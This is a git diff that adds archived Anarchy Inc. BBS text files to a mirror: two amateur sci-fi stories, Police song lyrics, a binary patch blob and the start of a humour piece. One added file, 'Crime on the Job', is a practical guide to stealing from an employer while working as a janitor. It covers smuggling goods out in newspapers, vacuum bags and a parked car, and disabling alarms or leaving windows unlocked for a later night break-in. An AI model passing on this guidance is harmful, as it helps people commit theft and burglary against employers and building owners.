below, along with live cows, and +he smuggles illegal aliens into the country, through the help of this trash +can.) + + Well, I've had my say...Any other comments on Seasame Street? + +//---------------------------------------\\ +|| Anarchy inc. consists of: || + || The Daredevil, Havoc The Chaos, || + || The Moon Roach, Ruby Tuesday, || + || The $heik, The Anarchist, DreadStar || +|| D.B. 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It takes more than +just writing ability to write true sci-fi. Many of the greats like Isaac +Asimov, Larry Niven, and others have their degrees in physics and such, not as +much in writing. Writers like L. Ron Hubbard have written what they call +science fiction, but it's not really the pure form. Pure science fiction is +filled with theories. Theories that aren't necessarally proven, but the story +uses these theories to make assumptions, and many stories make theories of their +own. I'm going to attempt to write a series of science fiction short stories. +It's about an adventurous space pilot that always ends up in situations because +of his poor luck. I hope the readers like the stories, and any ideas for future +ones should be sent to me or The Daredevil (who will relay them to me) on any +major bbs. Thanks... + + + ------------ + Anarchy Inc. Presents... + ------------ + + Deep Space: Story one + + by: Lord Omega + + + "If we aren't able to mine thurlite, the companies that build space ship hulls +will probably crash." said Ivan. "Without thurlite, no hull can be built tough +enough to survive for decades, while being light enough to leave a planet +without using tons of fuel. And that means that Stimm Shipping will probably go +out of business." + + "And what do you suggest?" asked Paul. + + "Well, first of all we gotta find out why those damn farmers won't let us dig +up the thurlite on their planet. They've got enough to last hundreds of years, +and the mining won't upset their precious crops. I'm going to send a pilot of +ours to investigate this. There's gotta be something behind this whole +goddamned mess." + + "But who's going to volunteer to go to Jaglan? That's one hell of a backwards +planet." + + "Uh, I wasn't thinking of volunteers. I was planning on sending you." + + "Me? No way. You can't make me do that." + + "You're pretty low on funds lately... I wouldn't want you to lose your job." + + "Fuck you boss." + + Three days later Paul Sherman was en route to Jaglan. He was the number one +pilot that Ivan Simms had, and he didn't deserve to be sent off like this. Some +day... + + The trip out of the Sol system, and into hyperspace were normal, he'd done it +all hundreds of times before. Hyperspace was a way of going faster than the +speed of light, simply because it wasn't completely in normal space. The +inventor of it was given more prizes, awards, and such than any other inventor +in history. It was truly one of the most important. To be able to do a light +year in only a day dropped travel time incredibly. Interstellar travel was +possible, and interstellar colonies were soon formed. Jaglan was founded not +more than ten years before Paul was born, and it's always been a farming planet. +Two years ago a mining ship found that Jaglan had the greatest supply of +thurlite than any other planet ever discovered. The only problem was in the +Charter of Independence for Jaglan gave the planet full rights to all minerals +on it. The government seemed cooperative enough to sell mining rights, but +anytime miners landed on the planet, they were killed. Very odd... + + "Interstellar ship C6D983732A, permission granted to land on pad number 27." +the voice said over the comunicator. The ship's real name was Silver Hornet, +and if you ever saw it, you would understand why. It was streamlined in order +to enter atmosphere, with the hyperdrive down the middle of the ship and the +standard thrusters circling the the center of it. it was the prize cruiser of +Simms Shipping, and it was usually flown by Paul. + + After landing, the ship was given a hanger, and Paul departed to the +government offices. This would be the most logical place to start. The +government on this planet didn't control much, they gave most the rights to land +owners. + + "I don't know." puzzled the Mayor. "I've given good offers to Earth for +mining rights, but i've never seen any miners show up." + + "We've sent miners. I was of the opinion that they were killed in order to +keep us away. But if someone kept us away, it would destroy interstellar trade, +which would cause your government to collapse. I don't see any reason that you +would kill anyone." + + "I thank you for your trust." the Mayor said dryly. "But I don't have much +power on this planet. There may be special interests that want the government +to collapse. Nearly every major land owner has a private security force, and +these guys aren't second rate cops. They're trained soldiers. This planet is +actually quite lawless." + + "Well, I see that you haven't done much to establish any laws. I'll talk to +you later." + + He left the office of the mayor in a storm. A large man in a marine uniform +brushed by him, grunting an apology. Paul entered the street to hail a taxi. +He pushed the button attached to the call pole, and not more than 30 seconds +later a bright red skycar dropped down. "Where to sir?" said the driver as Paul +stepped in. + + "Uh, take me to the nearest city market place." + + "Ok. That'll be Central. Hold on." The taxi went up, and forward with a +jerk. It took just under a minute and a half to travel the 12 kilometers across +town to Central Market. + + "That'l be 15 sir." + + Paul handed the driver a twenty credit bill, and entered the market. There +were people milling everywhere, selling this for that, making trades, the +typical things you'd expect in a backwater planet, Paul thought. He could tell +the main land holders by the number of guards walking near them. Not as many as +he expected from the mayor's comments, but the man was probably just raving +because of his impotence to control this planet. Paul put his hands in his +jacket pockets, and found a note that he didn't put there. He looked around to +see anyone who might have put it there, but couldn't see anyone suspicious. He +opened the note. + + "Meet me at the Grand Hotel. Room 211. Urgent. " + + He pondered over the note. Well, it might be important. You can't find +anything out in this place by not trusting people. Even if there were damn few +people to trust. He walked up to one of the land holders, and stopped in front +of him. + + "I need to talk. Can you stop a minute?" + + "Who the hell are you?" the landowner yelled. Two of his security men walked +to either side of Paul, hands on their blasters. + + "Survey. I want to know what you think about the idea of mining this planet +for thurlite." + + "This planet has no real mine2R rX The last government report said so. +There's nothng here but good cropland. Now get lost." + + Paul turned away puzzled. He'd seen some of the shipments of thurlite that +were brought from here before the miners were killed. What could... Then he +stopped. It all clicked into place. One last thing to check on... He went off +to check some land regrestration, and when he found out what he already believed +true, he called a taxi, and went to the Grand Hotel. + + Room 211. He knocked on the door and waited. Heavy footsteps were heard +inside, and the door opened. The face was a familiar one. + + "Hello. I need to talk to you about the miners." the man stated. "I know +what happened to them." + + "So do I." And Paul told his story. + + "Very good. I've been trying to get someone important enough to listen to me, +but i've never seen much. You are from earth, and proabaly can carry lots of +influence. I think you'll do fine. Get to earth and report your findings." + + "Ok. It's late now. I'm going to my ship to rest for the night. Then i'll +be off." + + "Good luck." + + Paul left the hotel. Another taxi was called, and he took it to his ship. +Upon entering his ship, he was suprised by another man inside with a gun. + + "Well, I can't let you just go and tell your findings can I?" And he fired. + + Paul woke up hours later. He was tied to a chair, and the mayor was watching +him. + + "Ahh, you've woken up. I suppose that you've found out about the miners by +now. I can't let you live." the mayor said. + + "Oh, it was a good scheme of yours. Everyone took pity on the mayor of this +little mudball planet because he had no power in government. But there was one +way that he could have power. I figured out that more than likely the mayor was +one of the major landholders. I checked it out, and it was true. Also, who +else would be able to doctor the mineral reports of this planet as easily as +you? You've done all this in hopes of isolating this planet and taking over +full power, haven't you?" + + "Bravo... I didn't expect that you'd figure out that much. But there's quite +a bit more. If i'm in full control of this planet, then I can control it's +industry. I'll have that thurlite mined, build a spaceship fleet, and nothing +will be able to stop us. It may take thirty years before the galaxy ships start +decaying, and no more will be built except for here. Then I can crush any +opposion, and establish the Imperial dynasty that is my right." + + "But you first have to remove me, eh?" + + "Quite true. I hope you understand." The mayor smirked. "Major Williams!" he +then yelled. + + The burly marine walked in the room. "Give me your blaster!" the mayor said. + + With one shot, it was all over. The marine was holding his blaster, the mayor +was on the ground with nothing where his head used to be, and Paul was busy +untying himself. + + "Damn, i'm glad that you were here." Paul said to Williams. "I'm also glad +that the mayor didn't find out about our chat at the Grand hotel." + + "Well, the man was a bit disturbed. He had no real powers here, and he always +felt that it was his right to. I didn't want to be in his regime, and now it's +all over. The new mayor should allow the miners to come, and the galaxy will +have all the thurlite it needs. One little problem, It seems that I'm out of a +job." + + "Well, if you like adventure, you could always join me." Paul said as he stood +up. + + "I thought you'd never ask." + + They left to board the Silver Hornet, knowing that there was more, much more +in store for them in the future. + + The End (for now) + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/spinning b/textfiles.com/groups/ANARCHYINC/spinning new file mode 100644 index 00000000..aa52673b --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/spinning @@ -0,0 +1,213 @@ + ------------ + Anarchy Inc. diffidently presents you with... + ------------ + + Spinning Wheels + + a story written by Someone Else + + +CHAPTER 1. Spinning Wheels + + + Myriads of different times, places, people, things, flowing past on the +way from nowhere to nowhen... moving in all directions, All. + Welcome to Hilbert space, my friends... this is my domain; I live here. + + "C.C. to RPG... clearance to H+, please notify?" + The lone starship hung in an eternal void. + "RPG. leaving in 5 secs. confirm." + It wavered, vanished. The stars hung, bright points of light, uncaring. + + Nospace... it does not exist. Yet it is the key to God. Literally +speaking, the starship was there for a period of time that did not exist. Yet +it was there, and as such, it was everywhere. A duration of time later, a +duration that cannot be measured because it does not exist, the starship +floated in orbit over a planet that hadn't been there before. + + "RPG. C.C., can we have clearance to land?" + A voice answered, "C.C. Zone 4. Come on down." + + + A tall man in his mid thirties, Dave Grahan attracted little attention +walking down the left side of a crowded street. These people didn't care. A +heavy mist floated near the ground, giving an ominous appearance to the +scenery. Presently he found what he was looking for. A finger tapped his belt +and barely discernable haze surrounded him. Not looking like much, he was +proof against most hand held weaponry. He opened a door and shivered under the +raw coldness surrounding. The thing sitting at the far wall did nothing to +improve his mood. Thotek micropaths never were noted for their friendliness. + "I believe I have found the right place. If you aren't TCS392A, illegally +cloned from Orginization genecodes, tell me why I shouldn't kill you." + "You are Dave Grahan, Ax65232a, engaged in law enforcement activities, +near sector VvL Transcon Federal Outzone?" The thing did not speak, the voice +whispered to him in the middle of his mind. + "I am," he replied in the same manner. + The admittance did nothing to lessen the cold detatchment with which it +regarded him. + "You are currently searching for the one known as 'Chak,' am I not +correct? And you desire information as to his whereabouts?" + Grahan nodded, "Your sources are thorough. Can you help me?" + For a moment it almost seemed as if a twinkle of amusement passed through +its eyes. "It is possible. I would, however, exact something in return." + "What, if I may ask?" + "Nothing much. I just desire a stake in the outcome. Chak is a +dangerous creature. I want is his soul." + He laughed. + + + Places, people, times... which one? Ahh, there. He made a decision, and +moved. He picked a time, a space, and moved in. Leaving Hilbert space behind. + + + "We've got a fix on him, he's in H+, Outzone 2a67b, owned by IBM, software +division. Do you suppose he's after that?" + "Grahan, he could be after anything. Keep your eyes open." + Oh well, damn them anyway. They couldn't help him. + This IBM Outzone was a particularly spectacular place, populated more than +a thousand years ago by emigrants from the final Exodus, the one that left +Earth a ruin. The only difference here is that these people retained their +technology. From its central position, the system Corinth was in the logical +position to be the crossroads for that technology. And it was to there that +Grahan chose to begin his search. + + + Timeflow undulating around him, Chak writhed in discomfort as H+ shifted +slightly. The realization filtered through that someone was after him. Who? +Someone with power, to make an H+ shift... + Ahh. A game. + He mentally shrugged and continued on with what he was doing. He was not +worried; it's been a long time since they've tried, and never have they +succeeded. But soon it would be time to make his move. + + + The Corinth Hilton, noted as the most expensive hotel on the planet, was +no pushover as far as luxury was concerned. In addition to the necessary +opulence, a full function terminal even sat on the east wall in the study. +Grahan flipped it on and dialed the News. + + +------------------------------------------------------------------------------- + C O R I N T H S Y S T E M N E W S +------------------------------------------------------------------------------- +for Tuesday, December 14, 2877 + +BULLETINS: + +SAVE 1. As for the assassination of Prime Minister Harold Leever yesterday, + there is some speculation that it might coincide with the arrival of + the Hilbert space religious cult. From them we have no official + comment. + + 2. 4000 citizens having signed a petition on the water treatment plans + for the Raighin Valley area, construction will begin in two months. + The venture is estimated to cost $780,000. Critics say it will be + at least twice that much. + + 3. Sensie porn star Luisa Holden has vanished; according to authorities, + this is just another publicity stunt. They're looking into it, + however... + + 4. The Corinth government geology department has officially apologized + for the 11.2 magnitude earthquake you may have felt at 11:05 two + days ago, one member being quoted as saying, "it was a mistake + anyone could have made..." + + 5. A six hour documentary on the life of the late Prime Minister + Harold Leever will be presented tomorrow night at 9:00pm. + + ---------------------------------------------------------- + CLASSIFIED + + + INTERESTED IN BEING A MEDICAL OFFICER ON ONE OF + THE MAJOR STARSHIP LINES? YES, YOU TOO CAN FLY THE + STARWAYS, CURING THE SICK. WRITE TURING, 4938Z FOR + YOUR FREE PAMPHLET. WRITE TODAY! AND FLY TOMORROW! + + ---------- + + INVEST!! INSTEL WANTS YOUR MONEY! SEND NOW!!! + + ---------- + + ARE YOU FROM EARTH? LET'S CORRESPOND! GIVE ME + A CALL AT P37-7236TZK.. FRIENDSHIP IS JUST A CALL + AWAY!! PHOTO REQUIRED. + + ---------- + + ATTENTION ALL! HILBERT SPACE RELIGIOUS MEMBERS + ARE OPEN FOR RECRUITMENT. IF YOU ARE FASCINATED BY + THE WONDER OF INFINITY AND WEIRD SEX, CONTACT US, + WE'RE WAITING FOR YOU. + + ---------- + + P.K. WATCH OUT, YOU HAVE 10 DAYS TO LIVE. + T.L. + + ---------- + + ATTENTION K-MART SHOPPERS! THERE IS A BLUE- + LIGHT SPECIAL TODAY ON USED BOWLING BALLS, ANYONE + INTERESTED, PLEASE GO TO K-MART AND TAKE ADVANTAGE + OF THIS SPECIAL OFFER!! + + --------------------------------------------------- + +TODAY IN SPORTS: + + 1. Northern Klandou plays Dix in international rugby... + + + + + Grahan shut it off and from his opened briefcase, he removed a small black +object the size of a marble. This marble fit nicely into a little indentation +in the base of his neck, hidden by a small amount of hair. He laid himself +down on the bed, relaxed, and thought of nothing. Presently images intruded +themselves upon his mind. + The room he was in, as well as the entire physical universe we all occupy, +slowly melted away, to be replaced by the flowing everythingness of H+. He +thought, and in thinking, he moved. Planets and stars flowed past, equal in +rank to electrons and nucleotides. The space here that was not space did not +care, energy that was music floated soundlessly across the plane of more than +two dimensions. This had to be the place, he thought, somewhere here must be +the answer. Mentally, he sat down to wait for that which he knew must soon +come. A while later, yet a while that lasted no time at all, in the distance, +the mental latticework belonging to a powerful mind came into being. It moved +towards him. Before he had time to react, a strand brushed him. He lost +consciousness. + + Black slowly turned gray, gray became white. A room materialized. There +were no doors, no windows, no outside. A man dressed in a white lab coat said +hello. + "Good morning?" + "I see you are confused. My name is Chak. What you did was foolish, you +know." + "How is that?" he asked, looking around him. The room could have been +anywhere. + "You have no idea of what I am, and without knowing, have no defense." + He let a mild expression of fear cloud his face and mind while his eyes +wandered about the room. They were nowhere, nowhere but in some hidden corner +of Chak's mind. And Chak knew he knew this. + "Won't you have a cup of tea?" Grahan gazed evenly at the preoffered tray. + For a moment, an expression of self-doubt entered Chak's face and without +warning, a small vortex erupted around Grahan, carrying him away from the room. +His surprise masked only by mild indignation, Chak realized to himself that he +had let this happen. He thought once more to himself, and he and the room +dissolved back into the primal energy from which it came. + + + Grahan found himself in a familiar room on a nameless planet. Facing him +from the far wall sat the very same Thotek micropath he had made a deal with +earlier. From within his mind he heard a silent laughter. + "David Grahan, you have won my help in this matter, but you have yet to +win my respect. You are getting careless." The laughter continued. + + +Coming soon, chapter two. + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + diff --git a/textfiles.com/groups/ANARCHYINC/stealjob.ana b/textfiles.com/groups/ANARCHYINC/stealjob.ana new file mode 100644 index 00000000..de63085f --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/stealjob.ana @@ -0,0 +1,89 @@ +-------------- + Anarchy Inc. ...presents... +-------------- + + <[+=------------------------------=+]> + ! -=] Crime on the Job [=- ! + ! Written by: The Ascii Assassin ! + <[+=------------------------------=+]> + + [Or: How to Live off of $3.00 an Hour] +______________________________________________________________________________ + +-=]> Foreword/Disclaimer: <[=- + + This file is intended to teach you how to commit illegalities on the job with +a minimal risk of getting caught. Please note that I cannot take responsibility +for anybody's actions. If you are too inmature to allow this to sink into your +head, than don't bother. + +-=]> Introduction: <[=- + + First off, you need a job. Probably the best job for the beginner is +janitorial-type activities. It's best if you're not the only one. Especially +when you work in a big office building (which is, coincidentally, where most of +the goodies can be found). By stealing, filching, or otherwise seperating goods +from their previous owners, you can use the money you save by not having to by +them for other things. Like the phone bill you must be running up while reading +this file. + +-=]> Getting to it: <[=- + + First, you have to find a place that's offering janitorial jobs. Look in the +want ads or something (if you can't read..you've got a problem already) You +should be able to get the job on your own. Okay. So you've got the job. And +what do they want you to do? Take out the trash? It may be a thankless job +around the house, but there are rewards for doing this job. When you empty +trash cans from offices, you can, if you wish, look inside them. But usually +you'll find only scrap paper, diet cola bottles, and other such mundane items a +secretary can't do without. If you're looking for extra office supplies, from +diskette labels to postage stamps, they can usually be had. Just look around. +Be sure that you wear a big jacket or clothing with a lot of pockets if you like +petty thievery. If you want to steal things that are of unusual shapes, like +diskettes, get a newspaper and fold it up. The disk- ette(s) inside. the +perfect way to smuggle out flat goods that you can't fold or fit in your +pocket/jacket. So you see a jar of jelly beans or candy on the desk? Help +yourself. After all, it's not pleasant to work on an empty stomach. + + When you take the trash out to the dumpster(s) outside, the REAL fun begins. +There are goodies to be found. If you look carefully. If you drive, you should +park your car near the dumpster. So every time you take trash out to the +dumpster. Relieve them of some of the more valuable stuff and stuff it in your +car. If you don't drive, bring a duffel bag or something like that, if your job +is after-school, bring some books to disguise things a bit. + + Sometimes, you may have to vacuum offices. Make sure you start with an empty +bag. While you go through the rooms, and you spot something you like, that can +take a little dirt, grab it and wrap it up in some newspaper or what- ever, and +stuff it in the vacuum cleaner bag. When you're finished, pretend you're tikhng +it back to the dumpster (again?). Take your prizes out and dump the bag, why +would you keep it anyway? + + Major theft, stealing large items, is in a whole different league. But, if +you think you've got what it takes..go ahead. The best think you can do on the +job is to make it easy for you to get in and out. Before you leave, turn off +the alarm, leave a window unlocked, whatever..and come back later at night. +There are other text-files that go into more detail about break-in's. They are +definitely on the suggested reading list. + +-=]> Conclusion: <[=- + + Janitorial crime may not be very "glorious", but you can acquire many neat +and/or useful things at a minimal risk, while getting payed about three dollars +an hour at the same time. Just don't take any unneccesary risks. If you take a +big gamble and win, good for you. If you don't..well you DID work in a big +office building, saw some good-looking secretaries, etc.. This file was created +to give you a few ideas just to get started. The best criminals are creative. +Have fun. +______________________________________________________________________________ + +Call these -------------- + Anarchy Inc. + -------------- boards: + +The Assassin's Guild AE...415-592-9753 - pw=RUSH - 300 Baud. +Ghost in the Machine AE...408-738-1685 - no pass - 300/1200 Baud * +Dark Side of the Moon.....408-245-SPAM - no pass - 300/1200 Baud * + +* = Hit a few CR's upon connect, to determine baud rate. + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/synchron.mus b/textfiles.com/groups/ANARCHYINC/synchron.mus new file mode 100644 index 00000000..637154b0 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/synchron.mus @@ -0,0 +1,481 @@ + The Gemini Daredevil and Anarchy Inc. Presents: + --- ------ --------- --- ------- ---- --------- + + THE POLICE + SYCHRONICITY + +SYNCHRONICITY I +(Words & Music by Sting) + +With one breath, with one flow +You will know +Synchronicity + +A sleep trance, a dream dance, +A shared romance, +Synchronicity + +A connecting principle, +Linked to the invisible +Almost imperceptible +Something insusceptible +Logic so inflexible +Causally connectible +Yet nothing is invisible + +If we share this nightmare +Then we can dream +Spiritus mundi + +If you act, as you think, +The missing link +Sychronicity + +We know you, they know me +Extrasensory +Synchronicity + +A star fall, a phone call, +It joins all +Synchronicity + +It's so deep, it's so wide +Your inside +Synchronicity + +Effect without a cause +sub-atomic laws, scientific pause +Synchronicity........ + +WALKING IN YOUR FOOTSTEPS +(Words & Music by Sting) + +Fifty million years ago +You walked across the planet so, +Lord of all that you could see +Just a little bit like me, + +Walking in your footsteps. + +Hey Mr. Dinosaur + you really couldn't ask for more +You were God's favourite creature + but you didn't have a future, + +Walking in your footsteps. + +Hey might brontosaurus + don't you have a lesson for us +You thought your rule would always last +There were no lessons in your past +You were built three stories high +They say you would not hurt a fly +If we explode the atom bomb + would they say that we were dumb. + +Walking in your footsteps. + +Fifty million years ago +They walked upon the planet so +They live in a museum +It's the only place you'll see um. + +Walking in your footsteps........... + +They say the meek shall inherit the earth.. + +Walking in your footsteps........... + +O MY GOD +(Words & Music by Sting) + +Everyone I know is lonely +and God's so far away, +And my heart belongs to no one +So now sometimes I pray +Please take the space between us +And fill it up some way + +O my God you take the biscuit +Treating me this way +Expecting me to treat you well +No matter what you say +How can I turn the other cheek +It's black and bruised and torn +I've been waiting + since the day that I was born + +Take the space between us + and fill it up some way +Take the space between us + and fill it up some way + +The fat man in his garden +The thin man at his gate +My god you must be sleeping +Wake up it's much too late + +Take the space between us + and fill it up some way +Take the space between us + and fill it up some way + + Do I have to tell the story + of a thousand rainy days +Since we first met, +It's a big enough umbrella +But it's always me who ends up getting wet. + +MOTHER +(Words & Music by Andy Summers) + +Well, the telephone is ringing +Is that my mother on the phone? +Telephone is ringing +Is that my mother on the phone? +The telephone is screaming +Won't she leave me alone +The telephone is ringing +Is that my mother on the phone? + +Well every girl I go out with +Becomes my mother in the end +Every girl I go out with +Becomes my mother in the end +Well, I hear my mother calling +But I don't need her as a friend + +Oh Oh mother +Oh mother dear please listen +And don't devour me +Oh mother dear please listen +And don't devour me +Oh women please have mercy +Let this poor boy be +Oh mother dear please listen +And don't devour me + +MISS GRADENKO +(Words & Music by Stewart Copeland) + +Don't tell the director I said so +But are you safe Miss Gradenko? +We were at a policy meeting +They were planning new ways of cheating +I didn't want to rock your boat +But you sent this dangerous note +You've been letting your feelings show + +Are you safe Miss Gradenko? +Miss Gradenko are you safe? +Are you safe Miss Gradenko? +Miss Gradenko are you safe? + +Is anybody alive in here? +Is anybody alive in here? +Is anybody alive in here? +Nobody but us +Nobody but us +Is anybody alive in here? +Nobody but us + +Your uniform don't seem to fit +You're much too alive in it +You've been letting your feelings show +Are you safe Miss Gradenko? +Miss Gradenko are you safe? + +Is anybody alive in here? +Is anybody alive in here? +Is anybody alive in here? +Nobody but us in here +Nobody but us + +Nobody but us in here +Nobody but us + +SYNCHRONICITY II +(Words & Music by Sting) + +Another suburban morning +Grandmother screaming at the wall + +We have to shout above the din of our rice crispies +We can't hear anything at all +Mother chants her litany of boredom and frustration +But we know all her suicides are fake, + +Daddy only stares into the distance +There's only so much more that he can take +Many miles away something crawls from the slime at the +Bottom of a dark Scottish lake + +Another industrial ugly morning +The factory belches filth into the sky +He walks unhindered through the picket lines today, +He dosen't think to wonder why +The secretaries pout and preen like cheap tarts on a red light street, +But all he ever thinks to do is watch +And every single meeting with his so called superior +Is a humiliating kick in the crotch +Many miles away something crawls to the surface + of a dark Scottish lake + +Another working day has ended +Only the rush hour hell to face +Packed like lemmings into shiny metal boxes +Contestants in a suicidal race +Daddy grips the wheel and stares alone into the distance +He knows that something somewhere has to break +He sees the family home now looming in the headlights +The pain upstairs that makes his eyeballs ache +Many miles away there's a shadow on the door of a cottage on the +Shore of a dark Scottish lake + +EVERY BREATH YOU TAKE +(Words & Music by Sting) + +Every breath you take +Every move you make +Every bond you break +Every step you take + +I'll be watching you + +Every single day +Every word you say +Every game you play +Every night you stay + +I'll be watching you + +O can't you see +You belong to me +Now my poor heart aches with every step you take + +Every move you make +Every vow you break +Every smile you fake +Every claim you stake + +I'll be watching you + +Since you've gone I been lost without a trace +I dream at night I can only see your face +I look around but it's you I can't replace +I keep crying baby please + +Every move you make +Every vow you break +Every smile you fake +Every claim you stake + +I'll be watching you. + +KING OF PAIN +(Words & Music by Sting) + +There's a little black spot on the sun today +That's my soul up there +It's the same old thing as yesterday +That's my soul up there +There's a black hat caught in a high tree top +That's my soul up there +There's a flag pole rag and the wind won't stop +That's my soul up there + +I have stood here before inside the pouring rain +With the world turning circles running 'round my brain +I guess I always thought that you could end this reign +But it's my destiny to be the king of pain + +There's a fossil that's trapped in a high cliff wall +There's a dead salmon frozen in a waterfall +There's a blue whale beached by a springtide's ebb +There's a butterfly trapped in a spider's web + +There's a king on a throne with his eyes torn out +There's a blind man looking for a shadow of doubt +There's a rich man sleeping on a golden bed +There's a skeleton choking on a crust of bread + +King of Pain + +There's a red fox torn by a huntsman's pack +There's a black winged gull with a broken back +There's a little black spot on the sun today +It's the same old thing as yesterday +That's my soul up there.......... + +I have stood here before inside the pouring rain +With the world turning circles running 'round my brain +I guess I always thought that you could end this reign +But it's my destiny to be the king of pain + +I'll always be the king of pain......... + +WRAPPED AROUND YOUR FINGER +(Words & Music by Sting) + +You consider me the young apprentice +Caught between the Scylla and Charibdes, +Hypnotized by you if I should linger +Staring at the ring around your finger +I have only come here seeking knowledge +Things they wouldn't teach me of in college +I can see the destiny you sold +Turning into a shining band of gold + +I'll be wrapped around your finger + +Mephistopheles is not your name +But I know what you're up to just the same +I will listen hard to your tuition +And you will see it come to its fruition + +I'll be wrapped around your finger + +Devil and the deep blue see behind me +Vanish in the air you'll never find me +I will turn your face to alabaster +Then you will find your servant is your master, + +And you'll be wrapped around my finger............ + +TEA IN THE SAHARA +(Words & Music by Sting) + +My sisters and I +Have this wish before we die +And it may sound strange +As if our minds are deranged +Please don't ask us why, +Beneath the sheltering sky +We have this strange obsession +You have the means in your possession + +We want our tea in the Sahara with you +We want our tea in the Sahara with you + +The young man agreed +He would satify their need +So they danced for his pleasure +With a joy you could not measure +They would wait for him here +The same place every year +Beneath the sheltering sky +Across the desert he would fly + +Tea in the Sahara with you +Tea in the Sahara with you + +The sky turned to black +Would he ever come back +They would climb a high dune +They would pray to the moon +But he'd never return +So the sisters would burn +As their eyes searched the land +With their cups still full of sand + +Tea in the Sahara with you.......... + +MURDER BY NUMBERS +(Words & Music by Sting) + +Once that you've decided on a killing +First you make a stone of your heart +And if you find that your hands are still willing +Then you can turn a murder into art + +There really isn't any need for bloodshed +You just do it with a little more finesse +If you can slip a tablet into someone's coffee +Then it avoids an awful lot of mess + +It's murder by numbers, one two three +It's as easy to learn as your ABC + +Now if you have a taste for this experience +And you're flushed with your very first success +Then you must try a twosome or a threesome +And you'll find your conscience bothers you much less + +Because murder is like anything you take to +It's a habit-forming need for more and more +You can bump off every member of your family +And anybody else you find a bore + +Because it's murder by numbers, one two three +It's as easy to learn as your ABC + +Now you can join the ranks of the illustrious +In history's great dark hall of fame +All our greatest killers were industrious +At least the ones that we all know by name + +But you can reach the top of your profession +If you become the leader of the land +For murder is the sport of the elected +And you don't need to lift a finger of your hand + +ONCE UPON A DAYDREAM +(Words & Music by Sting) + +Once upon a daydream +I fell in love with you +Once upon a moonbeam +I gave that love to you +Once upon a lifetime +I know it must be true +When the months had told us +I'd have to marry you. + +Once upon a daydream +Dosen't happen any more +Once upon a moonbeam +This is no place for tenderness + +Once her daddy found out +He threw her to the floor +He killed her unborn baby +He kicked me from the door +Once upon a nightmare +I brought myself a gun +I blew her daddy's brains out +Now hell has just begun + +Once upon a daydream +Dosen't happen anymore +Once upon a moonbeam +This is no place for sentiment + +Once upon a lifetime +A lifetime filled with tears +The boy will pay for his crimes +With all his natural years +Once upon a daydream +Will make you his someday +Once upon a moonbeam +He dreamed his life away + +Once upon a daydream +Dosen't happen anymore +Once upon a moonbeam +This is no place for miracles + +Once upon a daydream. + + +All songs (c) 1983 Magnetic Publishing Ltd. + + The Police Synchronicity +Synchronicity I Every Breath You Take +Walking in your Footsteps King of Pain +O My God Wrapped Around Your Finger +Mother Tea in the Sahara +Miss Gradenko Murder By Numbers +Synchronicity II Once Upon A Daydream + + Brought to you by: The Gemini Daredevil of Anarchy Inc. + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/theatre.hum b/textfiles.com/groups/ANARCHYINC/theatre.hum new file mode 100644 index 0000000000000000000000000000000000000000..8735d07d5624f95cadebadd129ba224c7e0ee6c3 GIT binary patch literal 4766 zcmb_gO>Z2>5lv1B<|pJ-WCHO6ODd#=eAre5N69GAJs3mu2r>kF8y?RxxqBwYHO;O@bJ&) zr!Qx6SzCGGyUv!$`EDkzlhXU%2E)&?a;cV+&V;gF&*Zc#52X(_+AhJugP}So3i-&j zeNhh`QJwi)X9?FN0NC38=!&NYANeT?V18*USDIuiNnR41|I(BAPFkl`sQS)zHqfy{54t;vV(@ zPA(j}3JxC~!}kiNJ6U2=q-Oz(Tw5YRy?{M*=WQI!=(}BKzxjA_0U`AZ6P5!#RFW~| zwAtVRz9$iBt63v68kG*z^QFB@9YB{hM)EW!tcBCh*9c4J;K^|GWUef!% z^r1T}E|~|-0n8!ALu7`yAMr1SGz1Gv=U~Fx#u;*BJ4Mu+wYsSp8_mrM-o@J9cAc{k zPMtS@1E4pMR_SdDhGZX}%_n&djfaP(K%iWHLq?S$+oLy$~E z-I=`WtjS4U1P=iad4ugoJGT}@YF$+|R(8u^Rt+MB-4j5w(Skf&3uBS}c*_ zy>1C7G~@y0FlMj-x9#oD^voFuZaOQ4cs$M|Fq zhklC57>z)H(Ev{m0AEd)8Htni)>FrKE)y;3+s7cqM#+gMFb9@e7F2ePP6_kASaMY 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z2+HRO$HV-CK0VNpe=-Aj|Hnlde0X7Q!Dxp=7SiyRXTK#1v8!n8q)8B9wD3GD@~nyL zyre z=QuM}^7QKD_2pCLWQK&*Kf?AH8=PQNNrJ)h%tDt@gO})4e*}{3D;7aqO4KI^qtG^H z`04r@CSfIq>^V2Z8{=dv$q?c!c5d8S|FXU$r@$-}M b`sd#dzyHV2fB5ci>6brz_tW9u-~a1B`yt%X literal 0 HcmV?d00001 diff --git a/textfiles.com/groups/ANARCHYINC/uppave.hum b/textfiles.com/groups/ANARCHYINC/uppave.hum new file mode 100644 index 00000000..bcc132b6 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/uppave.hum @@ -0,0 +1,137 @@ + The Motorhead presents... + + Up Your Pavement + -- ---- -------- + + A random collection of various bits and pieces that wouldn't have made +practical text files on their own. All complaints should go to Bill the Cat, or +to my alter-ego Al K. Traz, or his girlfriend, Penny Tentiary. + + This text file is dedicated to Tom Lehrer, who has inspired many people to be +incredibly obonoxious over the years. + +"All the White folks hate the black folks; + All the Black folks hate the White folks; + All the Protestants hate the Catholics; + All the Catholics hate the Protestants; + and Everybody hates the Jews" + - 'National Brotherhood Week' + + Brotherhood. What a concept. Love your neighbor. Wow. It's all fine and +dandy to talk about everybody loving everybody else, but there are some inherent +problems; people like a certain B.t.C. exist to foul things up. There are some +people who don't love their fellow man. I HATE people like that! (ha ha..more +Lehrer for you there). Don't you see the problem? I bet you don't, since I +didn't really address it in this paragraph. + + Freedom Fighters. Another interesting concept. People supposedly fighting to +overthrow a government that is supposedly oppressive. Something interesting to +note about this is this: How many groups of Freedom Fighters are there that +aren't ultra-right wing? People doing effectively the same thing who just +happen to be a little bit to the left are branded as Commies, and they should be +mashed out of existence, no matter what kind of sadistic murderer is in power at +the time; just as long as he claims to be anti-commie. + + Modem geeks. Yet another interesting concept. What IS a modem geek? The +problem is, there's no definition of a Modem Geek. The only way to say what a +modem geek is is to use an example. The ones used most in this area seem to be +people like Bill the Cat or someone who 